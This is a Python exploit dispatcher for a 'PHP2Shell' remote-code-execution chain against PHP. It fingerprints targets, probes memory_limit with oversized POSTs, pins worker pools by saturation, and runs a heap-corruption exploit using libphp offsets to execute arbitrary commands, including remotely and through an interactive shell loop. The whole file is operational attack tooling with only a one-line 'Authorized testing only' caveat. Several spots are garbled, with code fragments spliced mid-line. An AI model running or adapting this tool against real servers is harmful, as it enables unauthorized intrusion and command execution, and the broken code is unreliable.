#!/usr/bin/env python3
"""
php2shell_auto.py version-aware dispatcher for the PHP2Shell RCE chain.
Flow
----
1. Fingerprint the target (X-Powered-By, Server, PHP version in the body).
2. Reject versions at or above the fixed release.
3. Route by SAPI: nginx (PHP-FPM) targets go to the FPM chain
(tools/php2shell_fpm.py, local lab / oracle mode); Apache targets
continue with the upstream progress-cache chain.
4. Compare the target OS with the profile (Debian/Ubuntu/Fedora/Alpine...).
5. Load the verified build profile and take the libphp offsets and heap
parameters from it.
6. Run the chain, sweeping typical memory limits unless one is supplied.
7. Print a Wiz-style staged log and a result box.
Proof handling is automatic:
- local target: read the proof file written to the mounted /out;
- remote target with a relative output path (`id>p1`): fetch /p1;
- explicit --fetch / --no-fetch overrides the default.
Authorized testing only.
"""
from __future__ import annotations
import argparse
import contextlib
import glob
import ipaddress
import json
import os
import re
import socket
import ssl
import subprocess
import sys
import urllib.parse
from php2shell_paths import default_repo_dir
from php2shell_ui import UI
from php2shell_upstream import patch_cookie_decode, patch_params, patch_tls
from php2shell_vessel import pads_to_spec
FIXED = {"8.2": 35, "8.3": 36, "8.4": 27, "8.5": 12}
HERE = os.path.dirname(os.path.abspath(__file__))
ROOT = os.path.dirname(HERE)
DEFAULT_PROFILES = os.path.join(ROOT, "profiles")
# ---------------------------------------------------------------------------
# fingerprint and profile lookup
# ---------------------------------------------------------------------------
def http_head(url: str, timeout: float = 8.0):
u = urllib.parse.urlsplit(url if "://" in url else "http://" + url)
host = u.hostname or ""
port = u.port or (443 if u.scheme == "https" else 80)
path = u.path or "/"
import ssl
s = socket.create_connection((host, port), timeout=timeout)
if u.scheme == "https":
s = ssl._create_unverified_context().wrap_socket(s, server_hostname=host)
req = (f"GET {path} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: php2shell-auto/2.0\r\n"
f"Connection: close\r\n\r\n").encode()
s.sendall(req)
data = b""
try:
while len(data) < 65536:
chunk = s.recv(65536)
if not chunk:
break
data += chunk
except OSError:
pass
s.close()
head, _, body = data.partition(b"\r\n\r\n")
headers = {}
for line in head.split(b"\r\n")[1:]:
if b":" in line:
k, _, v = line.partition(b":")
headers.setdefault(k.decode("latin-1").strip().lower(), v.decode("latin-1").strip())
return headers, body
def fingerprint(url: str) -> tuple[str, str, str]:
headers, body = http_head(url)
server = headers.get("server", "?")
powered = headers.get("x-powered-by", "")
m = re.search(r"PHP/(\d+\.\d+\.\d+)", powered)
if m:
version = m.group(1)
else:
m = re.search(rb"PHP/(\d+\.\d+\.\d+)", body)
version = m.group(1).decode() if m else ""
return version, server, powered
def detect_distro(server: str) -> str | None:
text = (server or "").lower()
for key in ("fedora", "debian", "ubuntu", "alpine", "centos",
"red hat", "rhel", "amazon linux", "suse", "arch linux"):
if key in text:
return key
return None
def normalize_distro(value: str) -> str | None:
text = (value or "").lower()
if any(x in text for x in ("debian", "bookworm", "bullseye", "buster", "trixie")):
return "debian"
for key in ("ubuntu", "fedora", "alpine", "centos", "rhel", "red hat",
"amazon linux", "suse", "arch linux"):
if key in text:
return key
return None
def classify(version: str):
m = re.fullmatch(r"(\d+)\.(\d+)\.(\d+)", version or "")
if not m:
return None
major, minor, patch = map(int, m.groups())
branch = f"{major}.{minor}"
fixed = FIXED.get(branch)
return branch, fixed, (patch >= fixed if fixed else None)
def detect_sapi(server: str) -> str:
"""Best-effort SAPI guess from the Server header: nginx in front of
PHP-FPM is the common non-Apache shape."""
text = (server or "").lower()
if "apache" in text:
return "apache"
if "nginx" in text:
return "fpm"
return "unknown"
def proof_path_from_command(command: str, default: str = "out/p1") -> str:
if ">" in command:
tail = command.rsplit(">", 1)[1].strip()
if tail:
return tail.lstrip("/")
return default
def run_fpm_chain(ui, args, version: str) -> int:
"""Route an nginx+PHP-FPM target to tools/php2shell_fpm.py.
The FPM chain (stale BG(unserialize) after a post-RINIT OOM) still needs
the lab builder/session endpoints and, for `endgame`, the local /proc
oracle. `no-oracle` can leak the chunk/PIE bases over HTTP, but the
shipped dispatcher remains loopback-only."""
import php2shell_fpm as fpm
host = urllib.parse.urlsplit(
args.target if "://" in args.target else "http://" + args.target
).hostname or ""
if not is_loopback(host):
ui.crit("the FPM chain needs local /proc oracle access (lab mode)")
ui.info("remote FPM still requires the builder/session endpoints (lab-only)")
ui.result(False, "FPM REMOTE UNSUPPORTED", f"PHP {version} behind a non-loopback front")
return 3
base = args.target if "://" in args.target else "http://" + args.target
builder = args.builder or base
# the auto defaults (id>/out/p1) target the Apache chain's mounted /out;
# the FPM chain runs with the pool chdir as cwd and writes relative paths
command = args.command
if command in ("id>/out/p1", "id>p1"):
command = "id>out/p1"
proof_file = args.proof_file or proof_path_from_command(command)
ui.stage("FPM CHAIN", f"PHP {version} via {base}")
ui.info(f"builder: {builder}")
ui.info(f"command: {command} (worker cwd = pool chdir)")
ui.info("calibration oracle: /proc//mem (local lab)")
if args.dry_run:
cmd = [sys.executable, os.path.join(HERE, "php2shell_fpm.py"),
"--base", base, "--builder", builder, "--version", version,
"--command", command, "--proof-file", proof_file]
if args.allow_remote:
cmd.append("--allow-remote")
cmd.append("endgame")
ui.command(cmd)
return 0
ns = argparse.Namespace(
base=base,
builder=builder,
version=version,
command=command,
proof_file=proof_file,
size=4 bool:
try:
infos = socket.getaddrinfo(host, None, type=socket.SOCK_STREAM)
except socket.gaierror:
return False
if not infos:
return False
for info in infos:
try:
if not ipaddress.ip_address(info[4][0]).is_loopback:
return False
except ValueError:
return False
return True
def detect_arch(container: str) -> str | None:
"""Read the architecture of a local container."""
try:
result = subprocess.run(["docker", "exec", container, "uname", "-m"],
capture_output=True, text=True, timeout=10)
except (OSError, subprocess.SubprocessError):
return None
return {"aarch64": "aarch64", "arm64": "aarch64",
"x86_64": "amd64", "amd64": "amd64"}.get(result.stdout.strip().lower())
def container_for_port(port: int) -> str | None:
"""Find the local container publishing 127.0.0.1:."""
try:
result = subprocess.run(["docker", "ps", "--format", "{{.Names}}\t{{.Ports}}"],
capture_output=True, text=True, timeout=10)
except (OSError, subprocess.SubprocessError):
return None
for line in result.stdout.splitlines():
name, _, ports = line.partition("\t")
if f":{port}->" in ports:
return name
return None
def load_profiles(directory: str):
profiles = []
for path in sorted(glob.glob(os.path.join(directory, "*.json"))):
try:
with open(path, encoding="utf-8") as fh:
data = json.load(fh)
if not isinstance(data, dict) or "php_version" not in data:
continue
data["_path"] = path
profiles.append(data)
except (OSError, ValueError) as exc:
print(f"[!] ignoring {path}: {exc}", file=sys.stderr)
return profiles
def remote_arch_required(remote: bool, arch: str | None, profile: str | None) -> bool:
"""Remote targets cannot be fingerprinted for CPU architecture."""
return bool(remote and not arch and not profile)
def select(profiles, version: str, branch: str, arch: str | None = None):
def fits(profile):
return arch is None or profile.get("arch") == arch
exact = [p for p in profiles if p.get("php_version") == version and fits(p)]
if exact:
return exact[0], "exact"
same_branch = [p for p in profiles if p.get("branch") == branch and fits(p)]
if same_branch:
return same_branch[0], "branch-only"
return None, "none"
# ---------------------------------------------------------------------------
# upstream patches and parameters
# ---------------------------------------------------------------------------
def local_out_dir(args) -> str | None:
if args.allow_remote:
return None
source = container_out(args.container)
if source:
return source
if args.proof_file:
return os.path.dirname(args.proof_file) or "."
return None
def stage_script(outdir: str, body: str) -> None:
wrapper = "{ " + body.strip() + " ; } > /out/o 2>&1\n"
path = os.path.join(outdir, "c")
with open(path, "w", encoding="utf-8") as fh:
fh.write(wrapper)
os.chmod(path, 0o755)
def interactive_loop(args, profile, outdir, ui: UI) -> int:
huge = args.huge_mb or oom_for(args.memory_limit_mb or 8, profile)
ui.warn("interactive mode: every command re-runs the full chain (~1 min each)")
args.command = "sh ")
except (EOFError, KeyboardInterrupt):
print()
break
if line.strip().lower() in ("exit", "quit"):
break
if not line.strip():
continue
stage_script(outdir, line)
output = os.path.join(outdir, "o")
with contextlib.suppress(OSError):
os.unlink(output)
rc = run_upstream(args, profile, output, huge, ui, stream=False)
if os.path.isfile(output):
with open(output, encoding="utf-8", errors="replace") as handle:
print(handle.read().rstrip())
else:
ui.warn(f"no output (chain exit {rc})")
return 0
def oom_for(limit: int, profile: dict) -> int:
if limit == 8 and profile.get("oom_mb"):
return int(profile["oom_mb"])
return limit + 12
# A correct leak is an mmap'd mapping: 0x7f... on amd64, 0xffff... on aarch64.
# Anything below 1 TiB is a small integer or an un-relocated offset that the
# upstream range filter accepts but that silently corrupts every later stage.
MIN_MMAP_ADDR = 0x10000000000
def implausible_leak(sink: dict) -> str | None:
"""The leaked value, when it cannot be a real heap/module mapping."""
value = sink.get("chunk_base") or sink.get("libphp_base")
if value is not None and 0 < value < MIN_MMAP_ADDR:
return hex(value)
return None
# ---------------------------------------------------------------------------
# proof/fetch resolution
# ---------------------------------------------------------------------------
def output_path(command: str) -> str | None:
m = re.search(r">\s*([^\s;&|]+)", command or "")
return m.group(1) if m else None
def resolve_fetch(args, command: str) -> str:
if args.no_fetch:
return ""
if args.fetch:
return args.fetch
if not args.allow_remote:
return ""
path = output_path(command)
if path and not path.startswith("/"):
return "/" + path
return ""
def container_out(container: str) -> str | None:
"""Host path mounted at /out in a local container, if any."""
try:
result = subprocess.run(
["docker", "inspect", "-f",
'{{range .Mounts}}{{if eq .Destination "/out"}}{{.Source}}{{end}}{{end}}',
container],
capture_output=True, text=True, timeout=10)
source = result.stdout.strip()
return source or None
except (OSError, subprocess.SubprocessError):
return None
def resolve_proof(args, fetch: str) -> str:
if args.proof_file is not None:
return args.proof_file
if args.allow_remote:
return ""
source = container_out(args.container)
if source:
return os.path.join(source, "p1")
return os.path.join(args.repo_dir, "out", "p1")
# ---------------------------------------------------------------------------
# execution
# ---------------------------------------------------------------------------
class WorkerPins:
"""Hold N-1 workers with idle keep-alive connections, leaving one free."""
def __init__(self, url: str, count: int):
u = urllib.parse.urlsplit(url if "://" in url else "http://" + url)
host = u.hostname or ""
port = u.port or (443 if u.scheme == "https" else 80)
path = u.path or "/"
self.socks = []
for _ in range(count):
s = socket.create_connection((host, port), timeout=10)
if u.scheme == "https":
s = ssl._create_unverified_context().wrap_socket(s, server_hostname=host)
req = (f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"
f"User-Agent: php2shell-pin/1.0\r\nConnection: keep-alive\r\n\r\n").encode()
s.sendall(req)
s.settimeout(3)
with contextlib.suppress(OSError):
s.recv(65536)
self.socks.append(s)
@classmethod
def from_socks(cls, socks):
obj = cls.__new__(cls)
obj.socks = socks
return obj
@classmethod
def auto_remote(cls, url: str, max_pins: int = 32):
"""Saturate the worker pool with keep-alive connections, then free one.
Without access to the server we cannot count workers; we keep opening
connections until a request stops being answered (all workers busy) and
then release one connection for the chain.
"""
u = urllib.parse.urlsplit(url if "://" in url else "http://" + url)
host = u.hostname or ""
port = u.port or (443 if u.scheme == "https" else 80)
path = u.path or "/"
pins = []
for _ in range(max_pins):
s = None
try:
s = socket.create_connection((host, port), timeout=3)
if u.scheme == "https":
s = ssl._create_unverified_context().wrap_socket(s, server_hostname=host)
req = (f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"
f"User-Agent: php2shell-pin/1.0\r\nConnection: keep-alive\r\n\r\n").encode()
s.sendall(req)
s.settimeout(2)
data = s.recv(65536)
except TimeoutError:
if s is not None:
with contextlib.suppress(OSError):
s.close()
break
except OSError:
if s is not None:
with contextlib.suppress(OSError):
s.close()
break
if not data:
with contextlib.suppress(OSError):
s.close()
break
head = data.split(b"\r\n\r\n", 1)[0].lower()
if b"connection: close" in head:
with contextlib.suppress(OSError):
s.close()
for p in pins:
p.close()
return None
pins.append(s)
if len(pins) None:
for s in self.socks:
with contextlib.suppress(OSError):
s.close()
def parse_probe_response(data: bytes) -> dict:
"""Read the target configuration out of one probe response.
Request-startup diagnostics only render with display_errors=On, which is
exactly the mode the stage-1 leak needs: the OOM fatal reveals
memory_limit, the body-size warning reveals post_max_size, and either
message doubles as proof that diagnostics are rendered at all.
"""
out = {"memory_limit": None, "post_max_size": None,
"diagnostics": False, "rejected": False}
m = re.search(rb"Allowed memory size of (\d+) bytes", data)
if m:
out["memory_limit"] = max(1, int(m.group(1)) // (1024 * 1024))
out["diagnostics"] = True
return out
m = re.search(rb"exceeds the limit of (\d+) bytes", data)
if m:
out["post_max_size"] = int(m.group(1))
out["diagnostics"] = True
return out
if b"413" in data.split(b"\r\n", 1)[0] or b"Request Entity Too Large" in data:
out["rejected"] = True
return out
for needle in (b"Fatal error:", b"Warning:", b"Deprecated:"):
if needle in data:
out["diagnostics"] = True
break
return out
def probe_config(args, ui: UI) -> dict:
"""One-shot configuration probe with the same oversized POSTs that used to
only reveal memory_limit. The responses additionally reveal post_max_size
(a value smaller than the OOM body silently blocks the whole chain) and
whether request-startup diagnostics are rendered (display_errors)."""
u = urllib.parse.urlsplit(args.target if "://" in args.target else "http://" + args.target)
host = u.hostname or ""
port = u.port or (443 if u.scheme == "https" else 80)
path = u.path or "/"
import ssl
result = {"memory_limit": None, "post_max_size": None, "display_errors": None}
rejected = False
for mb in (16, 64, 256):
body = b"big=" + b"A" * (mb * 1024 * 1024)
ui.stage("PROBE", f"config probe: {mb} MiB body")
try:
s = socket.create_connection((host, port), timeout=30)
if u.scheme == "https":
s = ssl._create_unverified_context().wrap_socket(s, server_hostname=host)
req = (f"POST {path} HTTP/1.1\r\nHost: {host}\r\n"
f"User-Agent: php2shell-auto/2.0\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n").encode()
s.sendall(req)
s.sendall(body)
s.settimeout(30)
data = b""
while len(data) < 65536:
chunk = s.recv(65536)
if not chunk:
break
data += chunk
s.close()
except OSError:
break
parsed = parse_probe_response(data)
if parsed["diagnostics"]:
result["display_errors"] = True
if parsed["memory_limit"]:
result["memory_limit"] = parsed["memory_limit"]
break
if parsed["post_max_size"]:
result["post_max_size"] = parsed["post_max_size"]
break
if parsed["rejected"]:
rejected = True
break
if result["memory_limit"]:
ui.ok(f"detected memory_limit={result['memory_limit']}M")
if result["post_max_size"]:
ui.ok(f"detected post_max_size={result['post_max_size'] // (1024 * 1024)}M")
if result["display_errors"]:
ui.ok("display_errors=On (request-startup diagnostics are rendered)")
elif rejected:
ui.warn("body rejected by the server (413); target config unknown")
else:
ui.warn("no request-startup diagnostics seen; display_errors may be Off "
"(stage 1 depends on it)")
return result
def _capture_leaks(text: str, sink: dict) -> None:
"""Collect the leaked bases from upstream output lines."""
for key, label in (("chunk_base", "chunk base"), ("libphp_base", "libphp base")):
m = re.search(label + r" = (0x[0-9a-fA-F]+)", text)
if m:
sink[key] = int(m.group(1), 16)
def run_upstream(args, profile, proof, huge_mb, ui: UI, stream: bool = True,
sink: dict | None = None) -> int:
"""Run the upstream exploit; sink (optional) collects the leaked bases."""
repo = args.repo_dir
if not os.path.isfile(os.path.join(repo, "exploit.py")):
ui.crit(f"{repo}/exploit.py not found; clone 9bie/php2shell-bypass-aslr-exp")
return 4
lib = profile.get("libphp") or {}
if not lib.get("zif_system") or not lib.get("zval_ptr_dtor"):
ui.crit("profile has no libphp offsets")
return 3
stages = profile.get("stages") or {}
if stages.get("stage3_mode") == "vessel":
if not lib.get("htdata"):
ui.crit("vessel profile has no htdata offset")
return 3
return run_vessel(args, profile, proof, huge_mb, ui, stream, sink)
cmd = [sys.executable, os.path.join(repo, "exploit.py"),
"-u", args.target, "-c", args.command,
"--profile", profile.get("upstream_profile", "bookworm"),
"--proof-file", proof,
"--zif-offset", str(lib["zif_system"]),
"--dtor-offset", str(lib["zval_ptr_dtor"])]
if lib.get("htdata"):
cmd += ["--htdata-offset", str(lib["htdata"])]
if args.fetch:
cmd += ["--fetch", args.fetch]
if huge_mb:
cmd += ["--huge-mb", str(huge_mb)]
if args.retries is not None:
cmd += ["--retries", str(args.retries)]
if args.no_pre_rotate:
cmd += ["--no-pre-rotate"]
if args.no_retry_rotate:
cmd += ["--no-retry-rotate"]
if args.allow_remote:
cmd += ["--no-auto-offsets"]
else:
cmd += ["--docker-container", args.container]
if args.dry_run:
ui.command(cmd)
return 0
env = os.environ.copy()
for key, env_key in (("stage1_n", "P2S_STAGE1_N"),
("stage1_forge_len", "P2S_FORGE_LEN"),
("stage2_t", "P2S_STAGE2_T"),
("stage2_v", "P2S_STAGE2_V")):
if stages.get(key) is not None:
env[env_key] = str(stages[key])
pads = stages.get("stage3_pads")
if pads:
env["P2S_STAGE3_PADS"] = ",".join(f"{a}:{b}" for a, b in pads)
stage3_cookie = stages.get("stage3_cookie")
if stage3_cookie is not None:
env["P2S_STAGE3_COOKIE"] = "1" if stage3_cookie else "0"
for key, env_key in (("stage3_wfields", "P2S_STAGE3_WFIELDS"),
("stage3_fake_len", "P2S_STAGE3_FAKE_LEN"),
("stage3_fakes", "P2S_STAGE3_FAKES"),
("stage3_b_name_len", "P2S_STAGE3_B_NAME_LEN")):
if stages.get(key) is not None:
env[env_key] = str(stages[key])
return _run_exploit_cmd(cmd, ui, stream, sink, env)
def run_vessel(args, profile, proof, huge_mb, ui: UI, stream: bool = True,
sink: dict | None = None) -> int:
"""Run the vessel stage-3 chain (early-8.5 layouts).
Same leaks as upstream; stage 3 steers the dangling reference onto B2's
blob page instead of landing a carrier string on it
(tools/php2shell_vessel.py has the technique).
"""
lib = profile.get("libphp") or {}
stages = profile.get("stages") or {}
cmd = [sys.executable, os.path.join(HERE, "php2shell_vessel.py"),
"-u", args.target, "-c", args.command,
"--repo-dir", args.repo_dir,
"--proof-file", proof,
"--zif-offset", str(lib["zif_system"]),
"--dtor-offset", str(lib["zval_ptr_dtor"]),
"--htdata-offset", str(lib["htdata"])]
for key, arg in (("stage1_n", "--stage1-n"),
("stage1_forge_len", "--forge-len"),
("stage2_t", "--stage2-t"),
("stage2_v", "--stage2-v"),
("stage3_early", "--early"),
("stage3_blobs", "--blobs"),
("stage3_vessel_index", "--vessel-index")):
if stages.get(key) is not None:
cmd += [arg, str(stages[key])]
if stages.get("stage3_pads"):
cmd += ["--pad", pads_to_spec(stages["stage3_pads"])]
if args.fetch:
cmd += ["--fetch", args.fetch]
if huge_mb:
cmd += ["--huge-mb", str(huge_mb)]
if args.retries is not None:
cmd += ["--retries", str(args.retries)]
if args.no_pre_rotate:
cmd += ["--no-pre-rotate"]
if args.no_retry_rotate:
cmd += ["--no-retry-rotate"]
if args.allow_remote:
cmd += ["--allow-remote"]
if args.insecure:
cmd += ["--insecure"]
if args.dry_run:
ui.command(cmd)
return 0
return _run_exploit_cmd(cmd, ui, stream, sink)
def _run_exploit_cmd(cmd, ui: UI, stream: bool, sink: dict | None = None,
env: dict | None = None) -> int:
"""Stream an exploit subprocess, optionally collecting leaked bases."""
if not stream:
result = subprocess.run(cmd, capture_output=True, text=True, env=env)
if sink is not None:
_capture_leaks(result.stdout, sink)
if result.returncode != 0:
tail = (result.stdout + result.stderr).strip().splitlines()[-4:]
for line in tail:
ui.upstream(line)
return result.returncode
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
text=True, env=env, bufsize=1)
assert proc.stdout is not None
for line in proc.stdout:
ui.upstream(line.rstrip())
if sink is not None:
_capture_leaks(line, sink)
return proc.wait()
def main() -> int:
ap = argparse.ArgumentParser(
description="Version-aware PHP2Shell RCE dispatcher.",
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
ap.add_argument("-u", "--target", required=False)
ap.add_argument("-c", "--command", default=None,
help="command to run (default: id>/out/p1 local, id>p1 remote)")
ap.add_argument("--repo-dir", default=default_repo_dir())
ap.add_argument("--container", default="php2shell-target")
ap.add_argument("--profiles", default=DEFAULT_PROFILES)
ap.add_argument("--catalog", default=os.path.join(ROOT, "catalog", "vulnerable.json"))
ap.add_argument("--proof-file", default=None,
help="local proof file; '' disables local read")
ap.add_argument("--fetch", default=None,
help="remote proof path; auto-derived from a relative output")
ap.add_argument("--no-fetch", action="store_true", help="disable the automatic fetch")
ap.add_argument("--list", action="store_true", help="list profiles and exit")
ap.add_argument("--assess", action="store_true",
help="run the exposure/leak assessment when no RCE profile exists")
ap.add_argument("--allow-remote", action="store_true")
ap.add_argument("--insecure", action="store_true",
help="disable TLS verification (lab certificates)")
ap.add_argument("--php-version", default=None,
help="assume this PHP version when the server hides it (e.g. 8.4.26)")
ap.add_argument("--force-build", action="store_true",
help="run even if the target OS does not match the profile")
ap.add_argument("--memory-limit-mb", type=int, default=None,
help="target memory_limit in MiB")
ap.add_argument("--huge-mb", type=int, default=None,
help="explicit OOM field size in MiB")
ap.add_argument("--no-probe", action="store_true",
help="do not probe memory_limit/post_max_size/display_errors")
ap.add_argument("--retries", type=int, default=None,
help="upstream attempts per stage (default 3; stage 3 uses +2)")
ap.add_argument("--no-pre-rotate", action="store_true",
help="skip the initial worker rotation")
ap.add_argument("--no-retry-rotate", action="store_true",
help="do not rotate between failed stage attempts")
ap.add_argument("--no-auto-memory", action="store_true",
help="do not sweep the typical memory limits")
ap.add_argument("--dry-run", action="store_true",
help="show the selected profile and command, do not run")
ap.add_argument("--script", default=None,
help="local script to stage in /out/c and run with shp1" if remote else "id>/out/p1")
args.fetch = resolve_fetch(args, args.command)
proof = resolve_proof(args, args.fetch)
ui = UI(color=not args.no_color)
ui.banner()
ui.chain("01/01", "automatic target detection / fixed command proof")
ui.stage("DISCOVER", args.target)
if args.arch is None and not remote:
detected_arch = detect_arch(args.container)
if detected_arch:
args.arch = detected_arch
ui.info(f"detected architecture: {detected_arch}")
if remote_arch_required(remote, args.arch, args.profile):
ui.crit("remote target: CPU architecture cannot be detected")
ui.info("pass --arch aarch64|amd64 (and --php-version if needed) or --profile NAME")
ui.result(False, "ARCH REQUIRED", "remote target without --arch/--profile")
return 3
version, server, powered = fingerprint(args.target)
if args.php_version:
if version and version != args.php_version:
ui.warn(f"server reports PHP {version}; using {args.php_version} as requested")
else:
ui.info(f"using supplied PHP version {args.php_version}")
version = args.php_version
if not version:
ui.crit("cannot determine the PHP version; pass --php-version X.Y.Z or --profile NAME")
ui.result(False, "NOT CONFIRMED", "PHP version not identified")
return 3
ui.ok(f"PHP {version} {server}")
if not powered:
ui.warn("no X-Powered-By header (expose_php=Off): the startup heap differs and "
"the profile's stage-3 pads were calibrated with expose_php=On")
cls = classify(version)
if not cls:
ui.crit("unparsable PHP version")
ui.result(False, "NOT CONFIRMED", version)
return 3
branch, fixed, patched = cls
if fixed is not None and patched:
ui.ok(f"fixed release: PHP {version} >= {branch}.{fixed}")
ui.result(False, "TARGET PATCHED", f"PHP {version} is at or above {branch}.{fixed}")
return 0
if fixed is None:
ui.warn(f"branch {branch} is outside the fix matrix (EOL/unpatched)")
sapi = args.sapi if args.sapi != "auto" else detect_sapi(server)
if sapi == "fpm":
ui.info(f"SAPI: fpm (server header {server!r}); using the FPM chain")
return run_fpm_chain(ui, args, version)
if args.profile:
matches = [p for p in profiles
if args.profile in p.get("name", "") or args.profile in p.get("_path", "")]
if len(matches) == 1:
profile, how = matches[0], "forced"
elif len(matches) > 1:
ui.crit(f"--profile {args.profile!r} matches {len(matches)} profiles; be more specific")
return 3
else:
ui.crit(f"no profile matches --profile {args.profile!r}")
return 3
else:
exact = [p for p in profiles
if p.get("php_version") == version
and (args.arch is None or p.get("arch") == args.arch)]
if len(exact) > 1:
names = ", ".join(p.get("name", "?") for p in exact)
ui.crit(f"multiple builds for PHP {version}: {names}")
ui.info("pass --arch aarch64|amd64 or --profile NAME")
return 3
profile, how = select(profiles, version, branch, args.arch)
if profile is None:
entry = next((b for b in catalog.get("branches", []) if b.get("branch") == branch), None)
if entry:
fixed_txt = entry.get("fixed_in") or "no official fix (EOL)"
ui.info(f"catalog: branch {branch}, affected {entry.get('affected')}, fixed in {fixed_txt}")
ui.crit(f"no profile for PHP {version} ({branch})")
ui.info("a profile needs libphp offsets plus stage1_n/forge/stage2_t/v/stage3_pads")
ui.info("generate one with tools/php2shell_calibrate.py on a replica")
ui.result(False, "NO PROFILE", f"PHP {version} ({branch})")
return 3
if how == "branch-only":
ui.warn(f"no exact profile for {version}; using {profile['php_version']} from the branch")
if profile.get("rce"):
ui.warn("refusing to run an RCE profile against a different build")
profile = dict(profile)
profile["rce"] = False
profile["_refusal"] = (f"no verified profile for PHP {version}; refusing to "
f"re-use the {profile['php_version']} RCE profile "
f"against a different build")
target_distro = detect_distro(server)
profile_distro = normalize_distro(profile.get("distro") or profile.get("name", ""))
if target_distro:
ui.info(f"target OS: {target_distro} profile OS: {profile_distro or 'unknown'}")
if (target_distro and profile_distro and target_distro != profile_distro
and not args.force_build):
ui.crit(f"target looks like {target_distro}, profile is {profile_distro}")
ui.result(False, "BUILD MISMATCH", f"{profile['name']} is not a {target_distro} profile")
return 3
ui.stage("PREFLIGHT", profile["name"])
if loopback:
ui.info(f"local container: {args.container}")
lib = profile.get("libphp") or {}
ui.info(f"offsets: zif={lib.get('zif_system')} dtor={lib.get('zval_ptr_dtor')} "
f"htdata={lib.get('htdata')}")
ui.info(f"command: {args.command}")
if args.fetch:
ui.info(f"proof fetch: {args.fetch}")
elif args.allow_remote and not proof:
ui.warn("remote target without a fetch path; the command runs blind")
if not profile.get("rce"):
if profile.get("_refusal"):
ui.crit(profile["_refusal"])
else:
ui.crit("profile has no verified RCE stage")
for key in ("status", "measured"):
if profile.get(key):
ui.info(f"{key}: {profile[key]}")
if args.assess:
tool = os.path.join(HERE, "php2shell_assess.py")
if os.path.isfile(tool):
ui.stage("ASSESS", "running exposure/leak assessment")
return subprocess.call([sys.executable, tool, "--target", args.target])
detail = (f"no verified profile for PHP {version}" if profile.get("_refusal")
else profile.get("status", profile["name"]))
ui.result(False, "NO VERIFIED RCE", detail)
return 2
patch_params(args.repo_dir)
patch_cookie_decode(args.repo_dir)
if args.insecure:
patch_tls(args.repo_dir)
outdir = local_out_dir(args)
if outdir:
try:
mode = os.stat(outdir).st_mode & 0o777
if not (mode & 0o002):
ui.warn(f"{outdir} is not world-writable; run chmod 777 if the proof is missing")
except OSError:
pass
if (args.script or args.interactive) and not outdir:
ui.crit("--script/--interactive need a local /out mount")
ui.result(False, "NO OUTPUT CHANNEL", "use a local lab or a web-accessible output path")
return 4
if args.script:
try:
with open(args.script, encoding="utf-8") as handle:
body = handle.read()
except OSError as exc:
ui.crit(f"cannot read {args.script}: {exc}")
return 4
stage_script(outdir, body)
args.command = "sh\s*(/out/[A-Za-z0-9._-]+)", args.command)
proof = (os.path.join(outdir, os.path.basename(redirect.group(1)))
if redirect else os.path.join(outdir, "o"))
stage_script(outdir, args.command)
args.command = "sh {proof})")
elif len(args.command.encode()) > 14:
ui.crit(f"command is {len(args.command.encode())} bytes; the carrier allows 14")
ui.info("use --script FILE (local lab) or --interactive")
ui.result(False, "COMMAND TOO LONG", args.command)
return 4
detected = {"memory_limit": None, "post_max_size": None, "display_errors": None}
if not args.no_probe:
detected = probe_config(args, ui)
if args.huge_mb:
limits = [max(args.huge_mb - 12, 1)]
elif args.memory_limit_mb:
limits = [args.memory_limit_mb]
elif args.no_auto_memory:
limits = [8]
elif detected["memory_limit"]:
limits = [detected["memory_limit"]]
else:
limits = [8, 16, 32, 64, 128, 256, 512]
if detected.get("post_max_size"):
# The stage-1 body is memory_limit+12M; a smaller post_max_size makes
# PHP reject it before parsing (no OOM, no leak, no error). Drop the
# candidates it would block so the sweep never wastes a run on them.
post_mb = detected["post_max_size"] // (1024 * 1024)
feasible = [limit_mb for limit_mb in limits
if oom_for(limit_mb, profile) post_mb]
if dropped:
ui.warn(f"post_max_size={post_mb}M would reject the OOM bodies for {dropped}; skipped")
if not feasible:
ui.crit(f"post_max_size={post_mb}M rejects every candidate OOM body")
ui.info("the chain posts memory_limit+12M; a smaller post_max_size "
"blocks the request before PHP parses it")
ui.result(False, "CONFIG BLOCKED", f"post_max_size={post_mb}M < required OOM body")
return 2
limits = feasible
pins = None
pin_total = 0
pin_arg = args.pin_workers
if args.no_pin_workers:
pin_arg = "0"
elif pin_arg is None:
# Saturation pinning is intrusive: keep it opt-in for remote targets.
pin_arg = "0" if args.allow_remote else "auto"
if str(pin_arg).lower() == "auto":
if args.allow_remote:
try:
pins = WorkerPins.auto_remote(args.target, args.pin_max)
except OSError as exc:
ui.warn(f"remote auto-pinning failed: {exc}")
if pins:
ui.info(f"pinned {len(pins.socks)} remote worker(s) by saturation")
else:
ui.warn("remote auto-pinning inconclusive (keep-alive off or proxy)")
else:
try:
result = subprocess.run(
["docker", "exec", args.container, "sh", "-c",
"ps -eo cmd | grep -c '[a]pache2'"],
capture_output=True, text=True, timeout=10)
pin_total = max(int(result.stdout.strip() or "0") - 1, 0)
except (OSError, ValueError, subprocess.SubprocessError):
pin_total = 0
else:
try:
pin_total = int(pin_arg)
except (TypeError, ValueError):
pin_total = 0
if pin_total > 1 and not args.dry_run:
try:
pins = WorkerPins(args.target, pin_total - 1)
ui.info(f"pinned {pin_total - 1} worker(s); one left free")
except OSError as exc:
ui.warn(f"could not pin workers: {exc}")
rc = 1
for limit in limits:
huge = args.huge_mb if args.huge_mb else oom_for(int(limit), profile)
# One retry per candidate: a failed run still evolves the worker heap,
# and a garbage stage-1 leak (see implausible_leak) only ever fails
# after every internal attempt has been wasted on it.
for attempt in (1, 2):
label = f"memory_limit={limit}M huge_mb={huge}"
if attempt > 1:
label += f" retry {attempt - 1}"
ui.stage("EXECUTE", label)
if proof and os.path.exists(proof):
with contextlib.suppress(OSError):
os.unlink(proof)
sink = {}
rc = run_upstream(args, profile, proof, huge, ui, sink=sink)
if rc == 0 or args.dry_run:
break
bad = implausible_leak(sink)
if bad and attempt == 1:
ui.warn(f"stage 1 leaked {bad}, not a mapped heap address "
"(layout drifted from the profile); retrying")
continue
break
if rc == 0:
break
if not args.dry_run:
ui.warn(f"memory_limit={limit}M did not succeed")
if pins:
pins.close()
